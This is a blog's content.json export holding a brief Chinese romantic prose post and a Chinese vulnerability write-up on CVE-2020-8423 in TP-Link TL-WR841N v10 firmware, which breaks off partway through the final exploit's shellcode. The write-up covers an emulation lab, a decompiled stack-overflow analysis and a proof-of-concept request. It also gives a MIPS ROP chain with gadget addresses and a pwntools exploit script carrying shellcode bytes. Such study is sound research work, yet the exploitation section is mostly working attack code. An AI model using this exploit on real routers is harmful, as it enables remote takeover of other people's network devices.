-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 162 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 162 KB
1
{"meta":{"title":"lonely is alwals","subtitle":"","description":"","author":"pa1n","url":"https://github.com/degial","root":"/"},"pages":[{"title":"","date":"2024-11-29T15:34:45.140Z","updated":"2024-11-29T15:34:45.140Z","comments":true,"path":"about/index.html","permalink":"https://github.com/degial/about/index.html","excerpt":"","text":""},{"title":"","date":"2024-11-29T15:34:01.488Z","updated":"2024-11-29T15:34:01.488Z","comments":false,"path":"tags/index.html","permalink":"https://github.com/degial/tags/index.html","excerpt":"","text":""},{"title":"","date":"2024-11-29T15:33:27.900Z","updated":"2024-11-29T15:33:27.900Z","comments":false,"path":"categories/index.html","permalink":"https://github.com/degial/categories/index.html","excerpt":"","text":""}],"posts":[{"title":"我想对她说","slug":"我想对她说","date":"2025-07-03T16:13:14.000Z","updated":"2025-07-03T16:28:20.585Z","comments":true,"path":"/posts/c65cfae6/","link":"","permalink":"https://github.com/degial/posts/c65cfae6/","excerpt":"","text":"最好的时光,就是你喜欢我, 我也喜欢你,可我们都还没表白; 我爱你,不光因为你的样子, 还因为,和你在一起时,我的样子; 我爱你,不光因为你为我而做的事, 还因为,为了你,我能做成的事。 失而复得的东西根本就回不到最初的样子, 即便再好,也忘不了有段时间曾失去过, 不是最好的时光里有你在, 而是有你在,我才有了最好的时光。 我在等待一个人, 一个可以陪我很久很久的人。 有的时候,我们需要的不是海誓山盟, 不是风花雪月的浪漫,而是最温暖的陪伴; 有一个人能让你随时随地想念, 不刻意,也不用时刻挂在嘴边; 只需要在失眠的夜里,闭上眼, 就能浮现那个人的笑脸。 而我心里最美丽的地方, 却被你的光芒照得通亮, 别人都不曾费心走那么远, 别人都觉得寻找太麻烦, 所以没人发现过我的美丽, 所以没人到过这里。 选择其实很简单: 往自己心里感到踏实的地方走不会错, 尽量不去对一些或有或无的事动心, 静下心听自己的声音。","categories":[],"tags":[{"name":"-我想对她说","slug":"我想对她说","permalink":"https://github.com/degial/tags/%E6%88%91%E6%83%B3%E5%AF%B9%E5%A5%B9%E8%AF%B4/"}]},{"title":"CVE-2020-8423","slug":"Iot/CVE-2020-8423","date":"2024-11-27T08:42:43.000Z","updated":"2024-12-14T07:32:15.161Z","comments":true,"path":"/posts/24932e9/","link":"","permalink":"https://github.com/degial/posts/24932e9/","excerpt":"","text":"漏洞编号:CVE-2020-8423 固件地址: https://www.tp-link.com/no/support/download/tl-wr841n/v10/ 工具安装安装binwalk 12sudo apt updatesudo apt-get install binwalk SquashFS:用于Linux内核的只读文件系统 1234sudo apt-get install zlib1g-dev liblzma-dev liblzo2-devsudo git clone https://github.com/devttys0/sasquatch # 没有代理的话 git clone https://gitee.com/yixuan1/sasquatch.git cd sasquatch && sudo ./build.sh qemu安装 1sudo apt-get install qemu 交叉编译环境buildroot 1234567sudo apt-get install libncurses5-dev patchwget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2tar -jxvf buildroot-snapshot.tar.bz2cd buildroot/make cleanmake menuconfigsudo make 进入menuconfig后,选择目标架构Mips32 安装完后设置环境变量,再/etc/profile结尾加上 1export PATH=$PATH:$HOME/buildroot/output/host/bin 编译第一个mips程序 12345678910111213141516171819#include<stdio.h>#include <stdlib.h>#include <string.h>void backdoor(){ system(\"/bin/sh\");}void has_stack(char *src){ char dst[20]={0}; strcpy(dst,src); printf(\"copy successfully\");}void main(int argc,char *argv[]){ has_stack(argv[1]);} 默认编译小端序程序,注意要加-static 静态编译,因为qemu运行环境里没包含c标准库 12mipsel-linux-gcc vuln.c -o vuln -staticfile vuln 编译大端程序,需要加-EB参数,但是仅仅加-EB会导致ld报错,所以要编译和链接分开 12mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o mipsel-linux-ld vuln.o -EB -o vuln 但我还是报错了 1234567891011121314hpp@swikar:~$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o hpp@swikar:~$ mipsel-linux-ld vuln.o -EB -o vulnmipsel-linux-ld: warning: cannot find entry symbol __start; defaulting to 00400110mipsel-linux-ld: vuln.o: in function `backdoor':vuln.c:(.text+0x24): undefined reference to `system'mipsel-linux-ld: vuln.c:(.text+0x2c): undefined reference to `system'mipsel-linux-ld: vuln.o: in function `has_stack':vuln.c:(.text+0x74): undefined reference to `__stack_chk_guard'mipsel-linux-ld: vuln.c:(.text+0xa0): undefined reference to `strcpy'mipsel-linux-ld: vuln.c:(.text+0xa8): undefined reference to `strcpy'mipsel-linux-ld: vuln.c:(.text+0xbc): undefined reference to `printf'mipsel-linux-ld: vuln.c:(.text+0xc4): undefined reference to `printf'mipsel-linux-ld: vuln.c:(.text+0xd4): undefined reference to `__stack_chk_guard'mipsel-linux-ld: vuln.c:(.text+0xe8): undefined reference to `__stack_chk_fail' 用工具链安装mips编译环境 12345sudo apt-get install linux-libc-dev-mipsel-crosssudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-crosssudo apt-get install binutils-mipsel-linux-gnu#我这里用的是版本是10,mipsel-linux-gnu-gcc和mips-linux-gnu-gcc分别是是下面两个包的一部分sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu mipsel-linux-gnu-gcc说找不到,需要创建符号链接 1sudo ln -s /usr/bin/mipsel-linux-gnu-gcc-10 /usr/bin/mipsel-linux-gnu-gcc 用mips-linux-gnu-gcc编译大端序 123$mips-linux-gnu-gcc vuln.c -o vuln -static$ file vulnvuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=5608d962ff3f4b40b36c9d67a82dfa1f4275ad07, for GNU/Linux 3.2.0, not stripped 安装qemu-user 123$sudo apt install qemu-user$qemu-mipsel vuln \"123\"copy successfully qemu运行Mips Linux内核 https://people.debian.org/~aurel32/qemu/mips/在这里下载包 12wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-maltawget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 用qemu运行mips debian,账号密码都是root qemu有主要如下两种运作模式,User Mode和System Mode 安装qemu-system-mips 12sudo apt updatesudo apt-get install qemu-system-mips qemu的几个系统命令 1sudo qemu-system-mips -M malta -kernel $HOME/vmlinux-3.2.0-4-4kc-malta -hda $HOME/debian_squeeze_mips_standard.qcow2 -append \"root=/dev/sdal console=tty0\" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic 登录成功 安装Gdb-Multiarch,能够调试多个架构(包括mips)的gdb调试工具 1apt-get install gdb-multiarch 安装peda插件 12git clone https://github.com/longld/peda.git ~/pedaecho \"source ~/peda/peda.py\" >> ~/.gdbinit 把 vim ~/.gdbinit 改为pwndbg的 gdbserver(mips) 123git clone https://github.com/rapid7/embedded-tools.gitgit clone https://github.com/hugsy/gdb-staticgit cloen https://github.com/akpotter/embedded-toolkit 测试 12$ mipsel-linux-gnu-gcc vuln.c -o vuln -static$ qemu-mipsel -g 9000 vuln 123456$ gdb-multiarch -qpwndbg> file vulnReading symbols from vuln...(No debugging symbols found in vuln)pwndbg> target remote 127.0.0.1:9000Remote debugging using 127.0.0.1:9000 成功 ROPgadget 源码安装 1234git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadgetsudo apt install python3-pipsudo -H python3 -m pip install capstonesudo -H python3 setup.py install 安装wireshark 1234sudo add-apt-repository ppa:wireshark-dev/stablesudo apt install -y wiresharksudo usermod -aG wireshark $USER 安装Mipsrop 12https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.pyhttps://github.com/SeHwa/mipsrop-for-ida7 配置运行环境用qemu来模拟路由器 12binwalk -Me TL-WR841N_V10_150310.zipcd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\\(150310\\).bin.extracted/squashfs-root/ 安装gdb7 注释掉这几个文件的这个函数 配置桥接 这里本人遇到了很多坑 :( 将文件系统传入虚拟机中运行固件,为了能让qemu和虚拟机传输文件,先配置桥接网络 1.配置桥接网卡 安装bridge-utils和uml-utilities 12sudo apt-get install bridge-utilssudo apt-get install uml-utilities 修改 /etc/network/interfacces 来配置网络桥接 以下是旧版本适用 1$ sudo nano /etc/network/interfaces 12345678910111213141516# Loopback interface ,设置回环接口auto lo iface lo inet loopback # eth0 interface ,设置eth0接口为手动配置模式auto eth0iface eth0 inet manual# 将eth0接口的ip地址设置为 0.0.0.0,并启用该接口up ifconfig eth0 0.0.0.0 up# Bridge interface auto br0 #表示将 eth0 端口加入到桥接接口 br0 中iface br0 inet dhcp bridge_ports eth0bridge_stp off #禁用生成树协议 (STP),可以减少一些延迟bridge_maxwait 1 #设置桥接的最大等待时间为 1 秒 我的试了不行,我用的是Ubuntu22,好像因为高版本点的Ubuntu用的是 etc/netplan 注意这里的renderer必须改为networkd,不然会显示没有ens33没有桥接到br0 1sudo nano /etc/netplan/01-network-manager-all.yaml 1234567891011121314151617# Let NetworkManager manage all devices on this systemnetwork: version: 2 renderer: networkd ethernets: ens33: dhcp4: false # 禁用 DHCP,使用静态 IP optional: true # 确保这个接口是可选的 bridges: br0: interfaces: - ens33 # 将 ens33 添加到桥接接口 br0 dhcp4: true # 启用 DHCP 给 br0 分配地址 parameters: stp: false # 禁用生成树协议 forward-delay: 0 # 设置转发延迟 1sudo netplan apply 配置qemu-ifup 脚本 为了使qemu在启动使自动将网卡(默认使tap0或tap1)加入到桥接网卡中 1$ sudo nano /etc/qemu-ifup 12345678echo \"Executing /etc/qemu-ifup\" #通过 ifconfig 启动传入的接口 $1(例如 tap0)echo \"Bringing up $1 for bridged mode...\" #将接口 $1 添加到桥接接口 br0sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo \"Adding $1 to br0...\"sudo /sbin/brctl addif br0 $1#sudo ifconfig br0 10.211.55.6/24sleep 3 给脚本执行权限 1sudo chmod +x /etc/qemu-ifup 设置好后,重启开启虚拟机,启动qemu,会多一个br0网卡 1sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append \"root=/dev/sda1 console=tty0\" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic br0是虚拟机和qemu的桥接接口,ens33虚拟机的网卡接口,tap0是qemu的网卡接口 设置ip使其在同一网段 1234#在虚拟机hpp@swikar:~/桌面$ sudo ifconfig br0 192.168.123.6/24 up#在qemuroot@debian-mips:~# ifconfig eth0 192.168.123.7/24 up 成功ping通 确保qemu的子网掩码和桥接网卡的一致,不然不能传文件 这里我遇到了个问题,由于较新的Ubuntu的openSSH客户端禁用了过时的算法(如 ssh-rsa 和 ssh-dss),但qemu的ssh服务用的是较老的密钥算法 1234$ sudo scp -r squashfs-root/ root@192.168.123.7:~/Unable to negotiate with 192.168.123.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dsslost connection 我这里直接用命令行改用较老的方式 这里是将路由器的文件系统传到qemu 1sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r squashfs-root/ root@192.168.123.7:~/ 也可以修改ssh客户端配置 1sudo nano /etc/ssh/ssh_config 添加这些内容 123Host 192.168.123.* HostKeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa 1sudo scp -r squashfs-root/ root@192.168.123.7:~/ Ubuntu会没网,需要修改dns 1sudo nano /etc/systemd/resolved.conf 123[Resolve]DNS=8.8.8.8 8.8.4.4FallbackDNS=8.8.8.8 8.8.4.4 重启服务 1sudo systemctl restart systemd-resolved 挂载系统的proc到固件目录下的proc,这样我们的程序在访问一些内核信息时能读取到,否则程序运行可能会报错 1234#挂载文件系统root@debian-mips:~# mount --bind /proc squashfs-root/proc#更换root目录root@debian-mips:~/squashfs-root# chroot . bin/sh 直接运行会有很多报错,需要hook掉fork和system函数 在虚拟机编译hook然后传到qemu 1234567891011#include <stdio.h>#include <stdlib.h>int system(const char *command){ printf(\"HOOK: system(\\\"%s\\\")\",command); return 1337;}int fork(void){ return 1337;} 1mips-linux-gnu-gcc -shared -fPIC hook.c -o hook 把hook传到qemu 1sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r hook root@192.168.123.7:~/ 再重新挂载更换root 12345678root@debian-mips:~# cp hook squashfs-root/#挂载文件系统root@debian-mips:~# mount -o bind /dev ./squashfs-root/dev/root@debian-mips:~# mount --bind /proc squashfs-root/proc#更换root目录root@debian-mips:~/squashfs-root# chroot . bin/sh 在文件系统根目录 123456# LD_PRELOAD=\"/hook\" /usr/bin/httpd /usr/bin/httpd: can't load library 'libc.so.6'// 使用软链接解决# ln -s lib/libc.so.0 lib/libc.so.6# LD_PRELOAD=\"/hook\" /usr/bin/httpd 把gdbserver复制到qemu 1sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r /home/hpp/embedded-tools/binaries/gdbserver/gdbserver.mipsbe root@192.168.123.7:~/squashfs-root/ 使用gdbserver将httpd调试转发到2333端口 12# LD_PRELOAD=\"/hook\"# ./gdbserver.mipsbe 0.0.0.0:1234 /usr/bin/httpd 试了好久,一直看不到qemu开了80端口,后来无缘无故就可以了 可以清一下cookie 获取cookie和path cookie Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D path RSSCTKQCPJFJLXVB 抓一下包 1curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://192.168.123.7/WZJXOVKAWKKMDBGB/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( \"/%0A\"*0x55 + \"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac\")')'' Mips常用命令 命令 格式 用途 lw lw R1, 0(R2) 从存储器中读取一个word存储(Load)到register中 sw sw R1, 0(R2) 把一个word从register中存储(store)到存储器中 addiu addiu R1,R2,#3 将一个立即数#3加上R2内容之后存放到目标地址R1 or or R1,R2,R3 两个寄存器内容相或 jalr jalr R1 使用寄存器的跳转指令 MIPS寄存器功能 REGISTER NAME USAGE $0 $zero 常量0(constant value 0) $1 $at 保留给汇编器(Reserved for assembler) $2-$3 $v0-$v1 函数调用返回值(values for results and expression evaluation) $4-$7 $a0-$a3 函数调用参数(arguments) $8-$15 $t0-$t7 暂时的(或随便用的) $16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved) $24-$25 $t8-$t9 暂时的(或随便用的) $28 $gp 全局指针(Global Pointer) $29 $sp 堆栈指针(Stack Pointer) $30 $fp 帧指针(Frame Pointer) $31 $ra 返回地址(return address) mips里的叶子函数和非叶子函数 叶子函数就是在函数里没有调用其他的函数,返回地址没有压入栈中,而是直接存入寄存器$ra中,非叶子函数 ,即函数中还调用了其他函数,返回地址在栈中 mips没有栈底指针,只有一个$sp指向栈顶,没有pop 和push调整指针,而是采用偏移寻址来访问变量 漏洞分析pwndbg一直调试不了,搞了很久,还是直接看代码吧 在stringModify字符串转化函数,存在栈溢出漏洞 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970//这函数是将字符串a3转化复制给a1字符串//删减版int __fastcall stringModify(_BYTE *a1, int size, int a3){ bool v3; // dc char *v4; // $a2 int v5; // $a3 int v6; // $v0 int v7; // $v1 if ( !a1 ) return -1; //初始化a3,将地址转给v4, v3 = a3 == 0; v4 = (char *)(a3 + 1); if ( v3 ) return -1; v5 = 0; while ( 1 ) { v7 = *(v4 - 1); if ( !*(v4 - 1) || v5 >= size ) break; //当是 '/' '>' '<' '\\\\'(反斜杠的表示方式,算一字节) if ( v7 == '/' ) goto LABEL_18; if ( v7 >= '0' ) { if (v7 == '>' || v7 == '\\\\' ) {LABEL_18: *a1 = '\\\\';LABEL_19: ++v5; ++a1; } else if ( v7 == '<' ) { *a1 = '\\\\'; goto LABEL_19; }//复制的字符必会经过这LABEL_20: ++v5; *a1++ = *(v4 - 1); //将其下一字节等于其本身,即转化前的字符 goto LABEL_21; } if ( v7 != '\\r' ) { if ( v7 == '\"' ) goto LABEL_18; if ( v7 != '\\n' ) goto LABEL_20; } v6 = *v4; //等于换行符时 if ( v6 != '\\r' && v6 != '\\n' ) { qmemcpy(a1, \"<br>\", 4); a1 += 4; } ++v5;LABEL_21: ++v4; } *a1 = 0; return v5;} 如果字符等于 / > < \\\\ \" 这几个字符转成 \\ + /或>...,同时v5计数是2 如果字符等于 \\r \\n 等换行符,会把 <br> 复制到a1,并且v5只加1,理论上最多可以把原始的字符长度复制成原来的四倍,会有栈溢出 writePageParamSet 函数 1234567891011121314151617181920212223242526272829303132333435int __fastcall writePageParamSet(int a1, int a2, const char *a3){ int v6; // $a2 int v7; // $a3 int v8; // $a0 int v9; // $a1 int *v10; // $a2 int result; // $v0 int v12; // [sp+14h] [-204h] int v13[128]; // [sp+18h] [-200h] BYREF if ( !a3 ) HTTP_DEBUG_PRINT(\"basicWeb/httpWebV3Common.c:178\", \"Never Write NULL to page, %s, %d\", \"writePageParamSet\", 178); if ( strcmp(a2, \"\\\"%s\\\",\", a3) ) { result = strcmp(a2, \"%d,\", v6); v8 = a1; if ( result ) return result; v10 = *(int **)a3; v9 = a2; } else { //这里调用了stringModyfy函数 if ( stringModify(v13, 0x200, (int)a3) < 0 ) { printf(\"string modify error!\"); HIBYTE(v13[0]) = 0; } v8 = a1; v9 = a2; v10 = v13; } return httpPrintf(v8, v9, (int)v10, v7, (int)&unk_594D80, v12, v13[0], v13[1]);} 交叉编译,发现sub_45FA94 调用的sub_45eb48 函数里调用了writePageParamSet 函数,不知道师傅们是怎么找到这的。ssid对应着下面的writePageParamSet(int a1, int a2, const char *a3) 第三个参数。这个函数把ssid放到一个很小的 v57 数组里 来仔细分析一下这个关键函数 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137//删减过int __fastcall sub_45EB48(int a1, int a2){ _DWORD v57[17]; // [sp+CCh] [-D5Ch] BYREF _DWORD v58[94]; // [sp+110h] [-D18h] BYREF _BYTE v59[2952]; // [sp+288h] [-BA0h] BYREF const char *Env; // [sp+E10h] [-18h] int *v61; // [sp+E14h] [-14h] const char *v62; // [sp+E18h] [-10h] _BYTE *v63; // [sp+E1Ch] [-Ch] const char *v64; // [sp+E20h] [-8h] const char *v65; // [sp+E24h] [-4h] swWlanWDSScan(a1, v56, 1); //前面的删减一部分 ''' //根据poc的输出,这里对应着前面几次的输出 httpPrintf(a2, \"<SCRIPT language=\\\"javascript\\\" type=\\\"text/javascript\\\">\\nvar %s = new Array(\\n\", \"waitWdsInf\"); httpPrintf(a2, \"<SCRIPT language=\\\"javascript\\\" type=\\\"text/javascript\\\">\\nvar %s = new Array(\\n\", \"siteSurveyPara\"); httpPrintf(a2, \"<SCRIPT language=\\\"javascript\\\" type=\\\"text/javascript\\\">\\nvar %s = new Array(\\n\", \"mptBssid\"); httpPrintf(a2, \"<SCRIPT language=\\\"javascript\\\" type=\\\"text/javascript\\\">\\nvar %s = new Array(\\n\", \"siteList\"); ''' httpPrintf(a2, \"0,0 );\\n</SCRIPT>\\n\"); memset(v57, 0, sizeof(v57)); i = 0; //取ssid对应值的指针赋给v25,然后再把ssid复制给v54 v25 = httpGetEnv(a2, \"ssid\"); v26 = v25; if ( v25 ) { v27 = strlen(v25); strncpy(v57, v26, v27); } else { HIBYTE(v57[0]) = 0; } //下面的这几段是对应着wlanconfig的值 v28 = httpGetEnv(a2, \"curRegion\"); if ( v28 ) { v29 = atoi(v28); i = v29; if ( v29 < 0x6C ) v57[9] = v29; } else { v57[9] = 17; } v30 = httpGetEnv(a2, \"channel\"); if ( v30 ) { v31 = atoi(v30); i = v31; if ( !a1 && (unsigned int)(v31 - 1) < 0xF ) v57[10] = v31; } else if ( !a1 ) { v57[10] = 6; } v32 = httpGetEnv(a2, \"chanWidth\"); if ( v32 ) { v33 = atoi(v32); i = v33; if ( (unsigned int)(v33 - 1) < 3 ) v57[11] = v33; } else { v57[11] = 2; } v34 = httpGetEnv(a2, \"mode\"); if ( v34 ) { v35 = atoi(v34); i = v35; if ( (unsigned int)(v35 - 1) < 8 ) v57[12] = v35; } else { v57[12] = 1; } //下面的值不用设置,不然产生\\x00截断 v36 = httpGetEnv(a2, \"wrr\"); v37 = v36; if ( v36 ) v57[13] = !strcmp(v36, \"true\") || atoi(v37) == 1; v38 = httpGetEnv(a2, \"sb\"); v39 = v38; if ( v38 ) v57[14] = !strcmp(v38, \"true\") || atoi(v39) == 1; v40 = httpGetEnv(a2, \"select\"); v41 = v40; if ( v40 ) v57[15] = !strcmp(v40, \"true\") || atoi(v41) == 1; v42 = httpGetEnv(a2, \"rate\"); if ( v42 ) v57[16] = atoi(v42); httpPrintf(a2, \"<SCRIPT language=\\\"javascript\\\" type=\\\"text/javascript\\\">\\nvar %s = new Array(\\n\", \"pagePara\"); writePageParamSet(a2, (int)\"\\\"%s\\\",\", (const char *)v57); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[9]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[10]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[11]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[12]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[13]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[14]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[15]); writePageParamSet(a2, (int)\"%d,\", (const char *)&v57[16]); httpPrintf(a2, \"0,0 );\\n</SCRIPT>\\n\"); httpPrintf(a2, \"<script language=JavaScript>\\nvar isInScanning = 0;\\n</script>\"); if ( v50 < 9 && ((1 << v50) & 0x1C8) != 0 ) { HttpWebV4Head(a2, 0, 0); v10 = \"/userRpm/popupSiteSurveyRpm_AP.htm\"; } else { HttpWebV4Head(a2, 0, 1); v10 = \"/userRpm/popupSiteSurveyRpm.htm\"; }LABEL_97: if ( httpRpmFsA(a2, v10) != 2 ) { v5 = HttpErrorPage(a2, 10, 0, 0) << 16; return v5 >> 16; } return 2;} 根据poc的输出捋了一下 根据函数画了ssid几个参数在栈上的位置 v57数组是dword,32位MIPS程序中占四个字节 1234567890x00 | | ssid | 0x24 | curRegion0x28 | channel0x2c | chanWidth0x30 | mode0x34 | wrr //从wrr开始下面的值不用设置,找不到就不会设为默认值0x1产生截断' ' ' 至于为什么把ssid复制给v57,后面的参数再在v57上赋值没有改变ssid的输出不是很理解,ssid理论上是被后面赋值的参数覆盖一部分的 poc 12345678910111213141516171819202122232425262728import requestsimport socketimport socksimport urllibdefault_socket = socket.socketsocket.socket = socks.socksocketsession = requests.Session()session.verify = Falsedef exp(path,cookie): headers = { \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\", \"Cookie\":\"Authorization=Basic{cookie}\".format(cookie=str(cookie))} payload=\"/%0A\"*0x55 + \"abcdefghijklmn\"+\"\\x78\\x56\\x34\\x12\" #这是字典设置了对应几个参数的值 params = { \"mode\":\"1000\", \"curRegion\":\"1000\", \"chanWidth\":\"100\", \"channel\":\"1000\", \"ssid\":urllib.request.unquote(payload) #if python3 #urllib.unquote(payload) #if python2 (suggest) } url=\"http://192.168.208.150:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm\".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) print(params)exp(\"NRLABRHBAIESYOKA\",\"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D\") gdb下不了断点,暂时看不到被覆盖的寄存器 在 writePageParamSet 调用了stringModify函数,使其发生栈溢出,函数的结尾,lw了四个寄存器,可以劫持函数的执行流 大端序 由于调试不了stringModify函数的前后,借鉴师傅们的博客算得的sp的偏移是 1234sp偏移:'/%0a'*0x55+2+s0+s1+s2+rapayload='/%0a'*0x55+2 //经转移后长度是0x200payload+=s0+s1+s2payload+=ra 漏洞利用由于是mips程序所以栈是可执行的,并且该程序是大端序 由于mips程序的指令集有(cache incoherency)缓存不一致性,branch delay slot机制使汇编不是按一条直线进行下去,后续会补充,指令cache和数据cache需要一个时间同步,需要调用sleep让shellcode从数据cache刷新到指令cache。需要构造rop,寻找gadgets,大概的流程图如下,mipsrop的构建参考:路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析-安全客 - 安全资讯平台 gadget1,修改寄存器$a0,$a0作为sleep函数的参数。 同时当作溢出时$ra寄存器的值,作为返回地址,跳转到$s1 s1=gadget2 123LOAD:0000E204 move $t9, $s1LOAD:0000E208 jalr $t9 ; sysconfLOAD:0000E20C li $a0, 3 gadget2,把$s2寄存器的存的地址赋给$t9并执行,这里写的是sleep函数的地址,下面还会把sp偏移的几个地址的值lw给各个寄存器,所以这里要设置好各个寄存器的值,最后会$sp的值会加0x28,返回执行ra寄存器的存的地址,这里ra寄存器设置的是gadget3的地址。 那么此时栈溢出时设置的s0几个寄存器的值和执行gadget2前的几个寄存器的值在栈上应该是这样 12345678910111213141516''''''#padding,刚溢出时s0=0x11111111s1=gadget2s2=fuc_sleepra=gadget1 #先执行ra,gadget1#在执行gadget2前,预设好后面设置的寄存的值#执行gadget2时的sp'a'*0x1c s1=gadget4 # 0x28+var_C($sp)s2=0x22222222ra=gadget3 # 0x28+var_4($sp)#执行完gadget2后,addiu $+sp, 0x28 ,sp会在这个位置 'a'*0x18shellcode #gadget3 addiu $a1, $sp, 0x168+var_150,把shellcode的地址$a1 gadget2 123456789LOAD:00037470 move $t9, $s2LOAD:00037474 lw $ra, 0x28+var_4($sp)LOAD:00037478 lw $s2, 0x28+var_8($sp)LOAD:0003747C lw $s1, 0x28+var_C($sp)LOAD:00037480 lw $s0, 0x28+var_10($sp)LOAD:00037484LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓oLOAD:00037484 jr $t9 ; xdr_opaque_authLOAD:00037488 addiu $sp, 0x28 gadget3,把sp+0x18的地址给$a1,sp+0x18的地址写上shellcode,然后跳转到$s1寄存器去执行,毫无疑问$s1写的就是gadget4的地址 1234LOAD:0000E904 addiu $a1, $sp, 0x168+var_150LOAD:0000E908 move $t9, $s1LOAD:0000E90C jalr $t9 ; stat64LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000) gadget4,执行$a1存的地址,即shellcode的地址 12345LOAD:000374D8 move $t9, $a1LOAD:000374DC sw $v0, 0x4C($a0)LOAD:000374E0 move $a1, $a2LOAD:000374E4 jr $t9LOAD:000374E8 addiu $a0, 0x4C # 'L' shellcode 由于指令lui 的字节码是0x3c(<),会被转义,一种方式是指令逃逸,另一种是指令替换,参考师傅们的链接 http://shell-storm.org/shellcode/files/shellcode-794.phphttps://www.exploit-db.com/exploits/45541 指令替换 可以使用一些无关指令,如使用 ori t3,t3,0xff3c 时,3c(<) 经过stringModify 函数会被编码为 \\ < (\\x5c\\x3c) ,\\x5c是反斜杠, ori t3,t3,0xff3c 的汇编字节码为 ‘\\x35\\x6b\\xff\\x3c’ ,经转义后是 ‘\\x35\\x6b\\xff\\x5c’ ,\\x3c就逃逸到下一个内存空间,这个3c就可以继续使用了,对于其他被转义的字符 / > < \\\\ \" 也是如此 也就是 \\x2f , \\x3c,\\x3e,\\x5c,\\x22 关于gdb的调试,需要自己编译gdb上传到qemu中 exp 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwn import *import requestsimport socketimport socksimport urllibimport structdefault_socket=socket.socketsocket.socket=socks.socksocketsession=requests.Session()session.verify=Falsecontext.endian='big'libc_base=0x77fe2000sleep=0x53ac0g1=0x000E204g2=0x00037470g3=0x0000E904g4=0x00374D8shellcode=b\"\\x24\\x0e\\xff\\xfd\\x01\\xc0\\x20\\x27\\x01\\xc0\\x28\\x27\\x28\\x06\\xff\\xff\"shellcode+=b\"\\x24\\x02\\x10\\x57\\x01\\x01\\x01\\x0c\\xaf\\xa2\\xff\\xff\\x8f\\xa4\\xff\\xff\"shellcode+=b\"\\x34\\x0e\\xff\\xff\\x01\\xc0\\x70\\x27\\xaf\\xae\\xff\\xf6\\xaf\\xae\\xff\\xf4\"shellcode+=b\"\\x34\\x0f\\xd8\\xf0\\x01\\xe0\\x78\\x27\\xaf\\xaf\\xff\\xf2\\x34\\x0f\\xff\\xfd\"shellcode+=b\"\\x01\\xe0\\x78\\x27\\xaf\\xaf\\xff\\xf0\\x27\\xa5\\xff\\xf2\\x24\\x0f\\xff\\xef\"shellcode+=b\"\\x01\\xe0\\x30\\x27\\x24\\x02\\x10\\x4a\\x01\\x01\\x01\\x0c\\x8f\\xa4\\xff\\xff\"shellcode+=b\"\\x28\\x05\\xff\\xff\\x24\\x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x2c\\x05\\xff\\xff\"shellcode+=b\"\\x24\\x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x24\\x0e\\xff\\xfd\\x01\\xc0\\x28\\x27\"shellcode+=b\"\\x24\\